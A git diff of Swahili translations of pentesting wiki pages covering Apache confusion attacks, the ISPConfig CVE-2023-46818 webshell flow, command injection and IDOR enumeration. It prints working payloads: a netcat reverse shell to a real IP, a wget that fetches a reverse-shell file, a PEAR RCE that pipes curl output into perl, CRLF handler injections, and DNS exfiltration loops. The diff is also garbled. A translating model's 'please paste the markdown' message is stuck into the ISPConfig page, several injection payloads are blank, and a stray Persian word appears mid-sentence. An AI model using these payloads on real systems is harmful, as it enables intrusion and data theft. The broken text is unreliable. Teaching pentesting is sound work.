faili katika `/var/www/html/about.html` na `/about.html` kwenye mfumo wa faili. Hii kwa msingi inaweza kutumika vibaya kufikia faili ndani ya mfumo wa faili. +Jambo la kufurahisha kuhusu Apache ni kwamba rewrite iliyotangulia itajaribu kufikia faili kutoka kwa documentRoot na pia kutoka kwa root. Kwa hivyo, ombi la `https://server/abouth.html` litatafuta faili katika `/var/www/html/about.html` na `/about.html` kwenye mfumo wa faili. Hii inaweza kutumiwa vibaya ili kufikia faili ndani ya mfumo wa faili. -#### **Ufunuo wa Chanzo upande wa Server** +#### **Ufichaji wa Source Code upande wa seva** -- **Ufunuo wa Chanzo la CGI** +- **Fichua CGI Source Code** -Kuweka tu %3F mwishoni inatosha leak msimbo wa module ya cgi: +Kuweka tu %3F mwishoni inatosha ili leak source code ya cgi module: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -123,9 +123,9 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F # ... # # the source code of download.cgi ``` -- **Kufichua Chanzo la PHP** +- **Disclose PHP Source Code** -Ikiwa server ina domain tofauti na moja kati yao ni domain ya static, hii inaweza kutumika vibaya kutembea kwenye mfumo wa faili na leak php code: +Ikiwa server ina domains tofauti, ambapo moja yao ni static domain, hii inaweza kutumiwa vibaya kusafiri kwenye file system na leak php code: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" @@ -133,7 +133,7 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" ``` #### **Local Gadgets Manipulation** -Tatizo kuu na shambulio lililopita ni kwamba kwa chaguo-msingi, sehemu kubwa ya ufikiaji wa filesystem itakataliwa, kama ilivyo kwenye Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): +Tatizo kuu la shambulio lililotangulia ni kwamba, kwa chaguo-msingi, ufikiaji mwingi wa mfumo wa faili utakataliwa, kama inavyoonekana kwenye Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): ```xml AllowOverride None @@ -147,38 +147,38 @@ AllowOverride None Require all granted ``` -Therefore, it would be possible to **abuse files located inside `/usr/share` in these distributions.** +Kwa hiyo, ingewezekana **kutumia vibaya faili zilizoko ndani ya `/usr/share` katika distributions hizi.** -**Gadget ya Ndani kwa Information Disclosure** +**Local Gadget to Information Disclosure** -- **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, which can leak sensitive environment variables. -- Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**: +- **Apache HTTP Server** pamoja na **websocketd** inaweza kufichua script ya **dump-env.php** katika **/usr/share/doc/websocketd/examples/php/**, ambayo inaweza leak variable za mazingira zenye nyeti. +- Server zilizo na **Nginx** au **Jetty** zinaweza kufichua taarifa nyeti za web application (mfano, **web.xml**) kupitia default web roots zilizowekwa chini ya **/usr/share**: - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** -**Gadget ya Ndani kwa XSS** +**Local Gadget to XSS** -- On Ubuntu Desktop with **LibreOffice installed**, exploiting the help files' language switch feature can lead to **Cross-Site Scripting (XSS)**. Manipulating the URL at **/usr/share/libreoffice/help/help.html** can redirect to malicious pages or older versions through **unsafe RewriteRule**. +- Kwenye Ubuntu Desktop ikiwa **LibreOffice** imewekwa, kuchukua faida ya kipengele cha kubadilisha lugha kwenye faili za msaada kunaweza kusababisha **Cross-Site Scripting (XSS)**. Kurekebisha URL katika **/usr/share/libreoffice/help/help.html** kunaweza kuelekeza kwa kurasa hatarishi au toleo la zamani kupitia **unsafe RewriteRule**. -**Gadget ya Ndani kwa LFI** +**Local Gadget to LFI** -- If PHP or certain front-end packages like **JpGraph** or **jQuery-jFeed** are installed, their files can be exploited to read sensitive files like **/etc/passwd**: +- Ikiwa PHP au baadhi ya front-end packages kama **JpGraph** au **jQuery-jFeed** zimesh نصب, faili zao zinaweza kutumika kusoma faili nyeti kama **/etc/passwd**: - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** -**Gadget ya Ndani kwa SSRF** +**Local Gadget to SSRF** -- Utilizing **MagpieRSS's magpie_debug.php** at **/usr/share/php/magpierss/scripts/magpie_debug.php**, an SSRF vulnerability can be easily created, providing a gateway to further exploits. +- Kutumia **MagpieRSS**'s **magpie_debug.php** katika **/usr/share/php/magpierss/scripts/magpie_debug.php**, kunaweza kuundwa kwa urahisi udhaifu wa **SSRF**, ukitoa mwendo wa kuingia kwa exploits zaidi. -**Gadget ya Ndani kwa RCE** +**Local Gadget to RCE** -- Opportunities for **Remote Code Execution (RCE)** are vast, with vulnerable installations like an outdated **PHPUnit** or **phpLiteAdmin**. These can be exploited to execute arbitrary code, showcasing the extensive potential of local gadgets manipulation. +- Fursa za **Remote Code Execution (RCE)** ni nyingi, na ufungaji ulio hatarini kama **PHPUnit** iliyotoka zamani au **phpLiteAdmin**. Hizi zinaweza kutumiwa kutekeleza code yoyote, zikionyesha uwezo mkubwa wa uendeshaji wa local gadgets. #### **Jailbreak from Local Gadgets** -It's also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like: +Inawezekana pia kufanya jailbreak kutoka kwa folda zilizopewa ruhusa kwa kufuata symlinks zilizotengenezwa na software iliyowekwa katika hizo folda, kama: - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` @@ -186,18 +186,18 @@ It's also possible to jailbreak from the allowed folders by following symlinks g - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` -Moreover, abusing symlinks it was possible to obtain **RCE in Redmine.** +Zaidi ya hayo, kwa kutumia vibaya symlinks ilikuwa inawezekana kupata **RCE katika Redmine.** -### Mkanganyiko wa Handler +### Handler Confusion -This attack exploits the overlap in functionality between the `AddHandler` and `AddType` directives, which both can be used to **enable PHP processing**. Originally, these directives affected different fields (`r->handler` and `r->content_type` respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting `r->content_type` into `r->handler` if the former is set and the latter is not. +Shambulio hili linatumia mchanganyiko wa utendaji kati ya directives `AddHandler` na `AddType`, ambazo zote zinaweza kutumika kuweza **uchakataji wa PHP**. Mwanzo, directives hizi ziliathiri mashamba tofauti (`r->handler` na `r->content_type` mtawalia) katika muundo wa ndani wa server. Hata hivyo, kutokana na legacy code, Apache inashughulikia directives hizi mabadiliko chini ya masharti fulani, ikibadilisha `r->content_type` kuwa `r->handler` ikiwa ya kwanza imewekwa na ya pili haijaundwa. -Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is empty before executing `ap_run_handler()`, the server **uses `r->content_type` as the handler**, effectively making `AddType` and `AddHandler` identical in effect. +Zaidi ya hayo, katika Apache HTTP Server (`server/config.c#L420`), ikiwa `r->handler` iko tupu kabla ya kutekeleza `ap_run_handler()`, server inatumia `r->content_type` kama handler, kufanya `AddType` na `AddHandler` kuwa sawa kwa matokeo. #### **Overwrite Handler to Disclose PHP Source Code** -In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), was presented a vulnerability where an incorrect `Content-Length` sent by a client can cause Apache to mistakenly **return the PHP source code**. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting `r->content_type` to `text/html`.\ -Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it. +In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) iliwasilishwa udhaifu ambapo `Content-Length` isiyo sahihi iliyotumwa na client inaweza kusababisha Apache kwa bahati mbaya **kurudisha chanzo cha PHP**. Hii ilikuwa kutokana na tatizo la kushughulikia makosa na **ModSecurity** na **Apache Portable Runtime (APR)**, ambapo response mara mbili husababisha kuandika juu `r->content_type` kuwa `text/html`.\ +Kwa sababu ModSecurity haishughuliki vizuri na return values, ingerejesha code ya PHP badala ya kuielewa. #### **Overwrite Handler to XXXX** @@ -205,36 +205,36 @@ TODO: Orange hasn't disclose this vulnerability yet ### **Invoke Arbitrary Handlers** -If an attacker is able to control the **`Content-Type`** header in a server response he is going to be able to **invoke arbitrary module handlers**. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to **restart the request process abusing the `Location` header** because if the **r**eturned `Status` is 200 and the `Location` header starts with a `/`, the response is treated as a Server-Side Redirection and should be processed +Ikiwa mshambuliaji anaweza kudhibiti header ya `Content-Type` katika response ya server atakuwa na uwezo wa kuiita module handlers yoyote. Hata hivyo, kwa wakati mshambuliaji atakapodhibiti hili, sehemu kubwa ya mchakato wa ombi itakuwa imekamilika. Hata hivyo, inawezekana **kuanzisha tena mchakato wa ombi kwa kutumia `Location` header`** kwa sababu ikiwa `Status` iliyorejeshwa ni 200 na header ya `Location` inaanza na `/`, response inashughulikiwa kama Server-Side Redirection na inapaswa kuchakatwa -According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior: +Kulingana na [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (maelezo kuhusu CGI) katika [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) inabainisha tabia ya Local Redirect Response: > The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified. -Therefore, to perform this attack is needed one of the following vulns: +Kwa hiyo, kutekeleza shambulio hili kunahitaji mojawapo ya udhaifu zifuatazo: - CRLF Injection in the CGI response headers - SSRF with complete control of the response headers -#### **Handler yoyote kwa Information Disclosure** +#### **Arbitrary Handler to Information Disclosure** -For example `/server-status` should only be accessible locally: +Kwa mfano `/server-status` inapaswa kupatikana tu kwa eneo la ndani: ```xml SetHandler server-status Require local ``` -Inawezekana kuifikia kwa kuweka `Content-Type` kuwa `server-status` na header ya Location kuanza na `/` +Inawezekana kuipata kwa kuweka `Content-Type` kuwa `server-status` na header ya Location kuanza na `/` ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a Content-Type:server-status %0d%0a %0d%0a ``` -#### **Arbitrary Handler hadi SSRF Kamili** +#### **Handler Yoyote hadi SSRF Kamili** -Kuelekeza kwa `mod_proxy` ili kufikia protokoli yoyote kwenye URL yoyote: +Kuelekeza kwa `mod_proxy` ili kufikia itifaki yoyote kwenye URL yoyote: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -243,11 +243,11 @@ http://example.com/%3F %0d%0a %0d%0a ``` -Hata hivyo, header ya `X-Forwarded-For` inaongezwa, ikizuia upatikanaji wa cloud metadata endpoints. +Hata hivyo, kichwa cha `X-Forwarded-For` kimeongezwa, kinachozuia ufikiaji wa cloud metadata endpoints. -#### **Mshughulikiaji lolote ili Kufikia Unix Domain Socket ya ndani** +#### **Arbitrary Handler to Access Local Unix Domain Socket** -Fikia Unix Domain Socket ya ndani ya PHP-FPM ili kutekeleza PHP backdoor iliyoko katika `/tmp/`: +Fikia local Unix Domain Socket ya PHP-FPM ili kutekeleza PHP backdoor iliyoko katika `/tmp/`: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -256,7 +256,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0 ``` #### **Arbitrary Handler to RCE** -Image rasmi ya [PHP Docker](https://hub.docker.com/_/php) inajumuisha PEAR (`Pearcmd.php`), zana ya usimamizi wa pakiti za PHP kwa mstari wa amri, ambayo inaweza kutumiwa vibaya kupata RCE: +Image rasmi ya [PHP Docker](https://hub.docker.com/_/php) ina PEAR (`Pearcmd.php`), zana ya usimamizi wa vifurushi vya PHP kwa mstari wa amri, ambayo inaweza kutumika vibaya kupata RCE: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} @@ -265,7 +265,7 @@ orange.tw/x|perl Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -Angalia [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), imeandikwa na [Phith0n](https://x.com/phithon_xg) kwa maelezo ya kina ya mbinu hii. +Angalia [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), imeandikwa na [Phith0n](https://x.com/phithon_xg) kwa maelezo ya mbinu hii. ## Marejeo diff --git a/src/network-services-pentesting/pentesting-web/ispconfig.md b/src/network-services-pentesting/pentesting-web/ispconfig.md index f7fa19bd1..0ac2d0f71 100644 --- a/src/network-services-pentesting/pentesting-web/ispconfig.md +++ b/src/network-services-pentesting/pentesting-web/ispconfig.md @@ -4,36 +4,36 @@ ## Muhtasari -ISPConfig ni paneli ya usimamizi wa hosting yenye chanzo wazi. Mjenzi wa zamani wa 3.2.x uliweka kipengele cha mhariri wa faili za lugha ambacho, kitakapoamilishwa kwa msimamizi mkuu, kiliruhusu kuingizwa kwa msimbo wa PHP wa hiari kupitia rekodi ya tafsiri iliyoharibika. Hii inaweza kusababisha RCE katika muktadha wa web server na, kulingana na jinsi PHP inavyotekelezwa, kuongezeka kwa ruhusa. +ISPConfig ni paneli ya udhibiti ya hosting ya chanzo wazi. Toleo la zamani la 3.2.x lilijumuisha kipengele cha mhariri wa faili za lugha ambacho, kinapowezeshwa kwa msimamizi mkuu, kiliruhusu arbitrary PHP code injection kupitia rekodi ya tafsiri iliyoharibika. Hii inaweza kutoa RCE katika muktadha wa seva ya wavuti na, kulingana na jinsi PHP inavyotekelezwa, privilege escalation. -Njia za default muhimu: -- Web root mara nyingi iko katika `/var/www/ispconfig` inapohudumiwa na `php -S` au kupitia Apache/nginx. -- Admin UI inapatikana kwenye HTTP(S) vhost (wakati mwingine imefungwa kwa localhost tu; tumia SSH port-forward ikiwa inahitajika). +Njia za msingi za default: +- Mizizi ya wavuti mara nyingi iko kwenye `/var/www/ispconfig` wakati inahudumiwa na `php -S` au kupitia Apache/nginx. +- Admin UI inapatikana kwenye HTTP(S) vhost (mara nyingine imefungwa kwa localhost tu; tumia SSH port-forward ikiwa inahitajika). -Kidokezo: Ikiwa paneli imefungwa kwa ndani (mfano `127.0.0.1:8080`), iforward: +Vidokezo: Ikiwa paneli imefungwa kwa ndani (mfano `127.0.0.1:8080`), itengeneze port-forward: ```bash ssh -L 9001:127.0.0.1:8080 user@target # then browse http://127.0.0.1:9001 ``` ## Mhariri wa lugha PHP code injection (CVE-2023-46818) -- Waliathirika: ISPConfig hadi 3.2.11 (fixed in 3.2.11p1) +- Imeathiriwa: ISPConfig hadi 3.2.11 (suluhisho limewekwa katika 3.2.11p1) - Masharti ya awali: -- Ingia kama akaunti ya superadmin iliyojengwa ndani `admin` (mawadhifa/majukumu mengine hayahusiki kulingana na muuzaji) +- Ingia kama akaunti ya built-in superadmin `admin` (majukumu mengine hayagusiwi kulingana na muuzaji) - Mhariri wa lugha lazima uwe umewezeshwa: `admin_allow_langedit=yes` katika `/usr/local/ispconfig/security/security_settings.ini` -- Athari: Admin aliethibitishwa anaweza kuingiza PHP yoyote inayohifadhiwa kwenye faili la lugha na kutekelezwa na programu, akipata RCE katika muktadha wa wavuti +- Athari: Admin aliye na uthibitisho anaweza kuingiza PHP yoyote inayotumwa ndani ya faili ya lugha na kutekelezwa na application, akipata RCE katika muktadha wa wavuti -Marejeo: NVD entry CVE-2023-46818 na kiungo cha ushauri cha muuzaji katika sehemu ya Marejeo hapa chini. +References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below. -### Manual exploitation flow +### Mtiririko wa exploitation kwa mkono -1) Fungua/unda faili la lugha ili kupata tokeni za CSRF +1) Open/create a language file to obtain CSRF tokens -Tuma POST ya kwanza ili kuanzisha fomu na kuchambua viwanja vya CSRF kutoka kwenye majibu ya HTML (`csrf_id`, `csrf_key`). Mfano wa njia ya ombi: `/admin/language_edit.php`. +Tuma POST ya kwanza ili kuanzisha fomu na uchambue maeneo ya CSRF kutoka kwenye jibu la HTML (`csrf_id`, `csrf_key`). Mfano wa request path: `/admin/language_edit.php`. 2) Inject PHP via records[] and save -Tuma POST ya pili ikijumuisha viwanja vya CSRF na rekodi ya tafsiri hatarishi. Minimal command-execution probes: +Wasilisha POST ya pili ikiwa ni pamoja na nywanja za CSRF na rekodi ya tafsiri yenye maudhui mabaya. Minimal command-execution probes: ```http POST /admin/language_edit.php HTTP/1.1 Host: 127.0.0.1:9001 @@ -42,13 +42,13 @@ Cookie: ispconfig_auth=... lang=en&module=admin&file=messages&csrf_id=&csrf_key=&records[]= ``` -Mtihani wa Out-of-band (angalia ICMP): +Out-of-band test (angalia ICMP): ```http records[]= ``` -3) Andika faili na weke webshell +3) Andika faili na uweke webshell -Tumia `file_put_contents` kuunda faili ndani ya path inayoweza kufikiwa kupitia wavuti (mfano, `admin/`): +Tumia `file_put_contents` kuunda faili chini ya njia inayofikiwa kupitia wavuti (kwa mfano, `admin/`): ```http records[]= ``` @@ -56,30 +56,30 @@ Kisha andika webshell rahisi ukitumia base64 ili kuepuka herufi mbaya katika mwi ```http records[]= ``` -I don't have the file contents. Please paste the markdown from src/network-services-pentesting/pentesting-web/ispconfig.md (or attach it) and I will translate the relevant English text to Swahili following your rules. +I don't have the file contents. Please paste the markdown from src/network-services-pentesting/pentesting-web/ispconfig.md here (or paste the portion you want translated). I'll translate the English text to Swahili, keeping all code, tags, links, paths and specified technical names unchanged. ```bash curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id' ``` -Ikiwa PHP inaendeshwa kama root (kwa mfano, kupitia `php -S 127.0.0.1:8080` iliyoanzishwa na root), hii inatoa RCE ya root mara moja. Vinginevyo, unapata utekelezaji wa msimbo kama mtumiaji wa server ya wavuti. +Ikiwa PHP inatekelezwa kama root (kwa mfano, kupitia `php -S 127.0.0.1:8080` iliyoanzishwa na root), hii husababisha root RCE mara moja. Vinginevyo, unapata utekelezaji wa msimbo kama mtumiaji wa seva ya wavuti. ### Python PoC -Exploit tayari kwa kutumia huotomatiza kushughulikia token na kusambaza payload: +Exploit tayari-kutumika huendesha kiotomatiki utunzaji wa token na utoaji wa payload: - [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) Mfano wa utekelezaji: ```bash python3 cve-2023-46818.py http://127.0.0.1:9001 admin ``` -### Kuimarisha usalama +### Hardening - Sasisha hadi 3.2.11p1 au baadaye -- Zima mhariri wa lugha isipokuwa ikihitajika kabisa: +- Zima mhariri wa lugha isipokuwa inahitajika kabisa: ``` admin_allow_langedit=no ``` -- Epuka kuendesha paneli kama root; sanidi PHP-FPM au web server ili kupunguza idhini za ufikiaji -- Lazimisha uthibitishaji imara kwa akaunti ya `admin` iliyojengwa +- Epuka kuendesha paneli kama root; sanidi PHP-FPM au server ya wavuti ili kupunguza vibali +- Lazimisha uthibitishaji imara kwa akaunti ya ndani `admin` ## Marejeo diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 9a8ada4c0..a7823c01e 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,13 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -## Je, Command Injection ni nini? +## Command Injection ni nini? -A **command injection** inaruhusu utekelezaji wa amri yoyote za mfumo wa uendeshaji na mshambuliaji kwenye server inayohifadhi application. Kwa matokeo, application na data zake zote zinaweza kuathiriwa/kufauliwa kabisa. Utekelezaji wa amri hizi kwa kawaida huwapa mshambuliaji ufikiaji usioidhinishwa au udhibiti wa mazingira ya application na mfumo wa msingi. +A **command injection** inaruhusu mshambulizi kutekeleza amri zozote za mfumo wa uendeshaji kwenye server inayohifadhi programu. Kwa hivyo, programu pamoja na data zake zote zinaweza kuathirika kabisa. Kutekelezwa kwa amri hizi kwa kawaida humruhusu mshambulizi kupata upatikanaji usioidhinishwa au kudhibiti mazingira ya programu na mfumo wa msingi. ### Muktadha -Kulingana na **wapi ingizo lako linaingizwa** unaweza kuhitaji **kumaliza muktadha uliowekwa kwa nukuu** (ukitumia `"` au `'`) kabla ya amri. +Kutegemea **ambapo pembejeo yako inaingizwa**, unaweza kuhitaji **kumaliza muktadha ulioko ndani ya nukuu** (kwa kutumia `"` au `'`) kabla ya kuingiza amri. ## Command Injection/Execution ```bash @@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Limition** Bypasses +### **Vikwazo** Bypasses -Ikiwa unajaribu kutekeleza **amri za hiari ndani ya mashine ya linux** utapendezwa kusoma kuhusu haya **Bypasses:** +Ikiwa unajaribu kutekeleza **arbitrary commands inside a linux machine** utavutiwa kusoma kuhusu haya **Bypasses:** {{#ref}} @@ -45,9 +45,9 @@ vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php / vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80 vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay ``` -### Parameters +### Vigezo -Hapa kuna vigezo 25 vya juu vinavyoweza kuwa nyeti kwa code injection na RCE vulnerabilities (from [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Hapa ni vigezo 25 vya juu ambavyo vinaweza kuwa hatarini kwa code injection na udhaifu wa RCE zinazofanana (kutoka [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -77,7 +77,7 @@ Hapa kuna vigezo 25 vya juu vinavyoweza kuwa nyeti kwa code injection na RCE vul ``` ### Time based data exfiltration -Kuchota data: herufi kwa herufi +Kutoa data: herufi kwa herufi ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -91,7 +91,7 @@ sys 0m0.000s ``` ### DNS based data exfiltration -Imetegemea tool kutoka `https://github.com/HoLyVieR/dnsbin` pia inayoendeshwa kwenye dnsbin.zhack.ca +Inategemea zana kutoka `https://github.com/HoLyVieR/dnsbin` pia iliyohifadhiwa kwenye dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -101,7 +101,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -Zana za mtandaoni za kuangalia DNS based data exfiltration: +Zana mtandaoni za kuangalia DNS based data exfiltration: - dnsbin.zhack.ca - pingb.in @@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -Unapofanya ukaguzi wa JavaScript/TypeScript back-ends, mara nyingi utakutana na Node.js `child_process` API. +Unapofanya ukaguzi wa back-ends za JavaScript/TypeScript, mara nyingi utakutana na Node.js `child_process` API. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` huanzisha **shell** (`/bin/sh -c`), hivyo alama yoyote inayokuwa na maana maalum kwa shell (back-ticks, `;`, `&&`, `|`, `$()`, …) itasababisha **command injection** wakati ingizo la mtumiaji linapounganishwa katika msururu wa herufi. +`exec()` inazindua **shell** (`/bin/sh -c`), kwa hivyo karakteri yoyote ambayo ina maana maalum kwa shell (back-ticks, `;`, `&&`, `|`, `$()`, …) itasababisha **command injection** wakati ingizo la mtumiaji linapounganishwa kwenye string. -**Kupunguza hatari:** tumia `execFile()` (au `spawn()` bila chaguo la `shell`) na toa **kila argument kama kipengele tofauti cha array** ili hakuna shell ihusishwe: +**Kupunguza hatari:** tumia `execFile()` (au `spawn()` bila chaguo la `shell`) na utoe **kila argument kama kipengele tofauti cha array** ili shell isihusishwe: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,9 +140,9 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Kisa cha ulimwengu halisi: *Synology Photos* ≤ 1.7.0-0794 kilikuwa kinaweza kutumika kupitia tukio la WebSocket lisilo na uthibitisho ambalo liliweka data iliyodhibitiwa na mshambuliaji ndani ya `id_user` ambayo baadaye ilingizwa katika wito la `exec()`, ikipelekea RCE (Pwn2Own Ireland 2024). +Kesi halisi: *Synology Photos* ≤ 1.7.0-0794 ilikuwa na udhaifu kupitia tukio la WebSocket lisilothibitishwa ambalo liliweka data iliyodhibitiwa na mshambuliaji kwenye `id_user`, ambayo baadaye iliingizwa katika wito la `exec()`, ikifanikisha RCE (Pwn2Own Ireland 2024). -## Orodha ya Ugunduzi wa Brute-Force +## Orodha ya Ugunduzi ya Brute-Force {{#ref}} diff --git a/src/pentesting-web/idor.md b/src/pentesting-web/idor.md index 5fe0c5cba..d0d2d53f3 100644 --- a/src/pentesting-web/idor.md +++ b/src/pentesting-web/idor.md @@ -2,23 +2,23 @@ {{#include ../banners/hacktricks-training.md}} -IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) hujitokeza wakati endpoint ya web au API inaonyesha au inakubali kitambulisho kinachoweza kudhibitiwa na mtumiaji ambacho kinatumika **moja kwa moja** kufikia kitu cha ndani **bila kuthibitisha kwamba aliyeita ana idhini** ya kufikia/kuhariri kitu hicho. -Utekelezaji unaofanikiwa kwa kawaida unaruhusu kuongezeka kwa mamlaka kwa njia ya horizontal au vertical, kama kusoma au kuhariri data za watumiaji wengine na, katika kesi mbaya kabisa, kunyongwa udhibiti wa akaunti au kutoa data kwa wingi. +IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) hutokea wakati endpoint ya wavuti au API inafichua au inakubali kitambulisho kinachosimamiwa na mtumiaji kinachotumika **moja kwa moja** kufikia object ya ndani **bila kuthibitisha kwamba mtumiaji anayetoa ombi ana ruhusa** ya kufikia/kuhariri object hiyo. +Matumizi ya mafanikio kawaida huruhusu horizontal au vertical privilege-escalation, kama kusoma au kubadilisha data za watumiaji wengine na, katika kesi mbaya kabisa, full account takeover au mass-data exfiltration. --- -## 1. Kutambua IDOR Zinaoweza Kutokea +## 1. Kutambua IDOR Zenyewezekano -1. Tafuta **vigezo vinavyorejea kitu**: +1. Tafuta **vigezo vinavyorejea object**: * Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` * Query: `?id=42`, `?invoice=2024-00001` * Body / JSON: `{"user_id": 321, "order_id": 987}` * Headers / Cookies: `X-Client-ID: 4711` 2. Pendelea endpoints zinazofanya **kusoma au kusasisha** data (`GET`, `PUT`, `PATCH`, `DELETE`). -3. Tambua wakati vitambulisho ni **mfuatano au vinavyoweza kutabirika** – kama ID yako ni `64185742`, basi `64185741` huenda ipo. -4. Chunguza njia zilizofichwa au mbadala (mfano *"Paradox team members"* link katika kurasa za kuingia) ambazo zinaweza kufichua API za ziada. -5. Tumia kikao chenye **uthibitishaji kilicho na ruhusa ndogo** na ubadilishe tu ID huku **ukiendelea kutumia token/cookie ile ile**. Kukosekana kwa kosa la idhini kwa kawaida ni dalili ya IDOR. +3. Tambua wakati vitambulisho ni **mfululizo au vinavyoweza kutabirika** – ikiwa ID yako ni `64185742`, basi `64185741` pengine ipo. +4. Chunguza njia zilizofichika au mbadala (mfano *"Paradox team members"* link kwenye kurasa za kuingia) ambazo zinaweza kufichua API za ziada. +5. Tumia kikao kilicho **thibitishwa chenye ruhusa ndogo** na badilisha tu ID huku **ukibakisha token/cookie ile ile**. Kutokuwepo kwa kosa la authorization kawaida ni dalili ya IDOR. -### Quick manual tampering (Burp Repeater) +### Kuibadilisha kwa mkono kwa haraka (Burp Repeater) ``` PUT /api/lead/cem-xhr HTTP/1.1 Host: www.example.com @@ -27,7 +27,7 @@ Content-Type: application/json {"lead_id":64185741} ``` -### Orodhesho otomatiki (Burp Intruder / curl loop) +### Uorodheshaji uliootomatishwa (Burp Intruder / curl loop) ```bash for id in $(seq 64185742 64185700); do curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ @@ -38,33 +38,33 @@ done ``` --- -### Oracle ya majibu ya makosa kwa user/file enumeration +### Error-response oracle for user/file enumeration -Wakati endpoint ya download inakubali username na filename (mfano `/view.php?username=&file=`), tofauti ndogo katika ujumbe za makosa mara nyingi huunda oracle: +Wakati download endpoint inakubali username na filename (mfano `/view.php?username=&file=`), tofauti ndogo katika error messages mara nyingi huunda oracle: -- Jina la mtumiaji lisilopo → "User not found" +- Username isiyokuwepo → "User not found" - Filename mbaya lakini extension halali → "File does not exist" (mara nyingine pia huorodhesha available files) - Extension mbaya → validation error -Kwa kikao chochote kilichothibitishwa, unaweza fuzz parameter ya username huku ukishikilia filename ya kawaida na kuchuja kwa string "user not found" ili kugundua watumiaji halali: +Kwa authenticated session yoyote, unaweza fuzz parameter ya username huku ukitumia benign filename na kuchuja 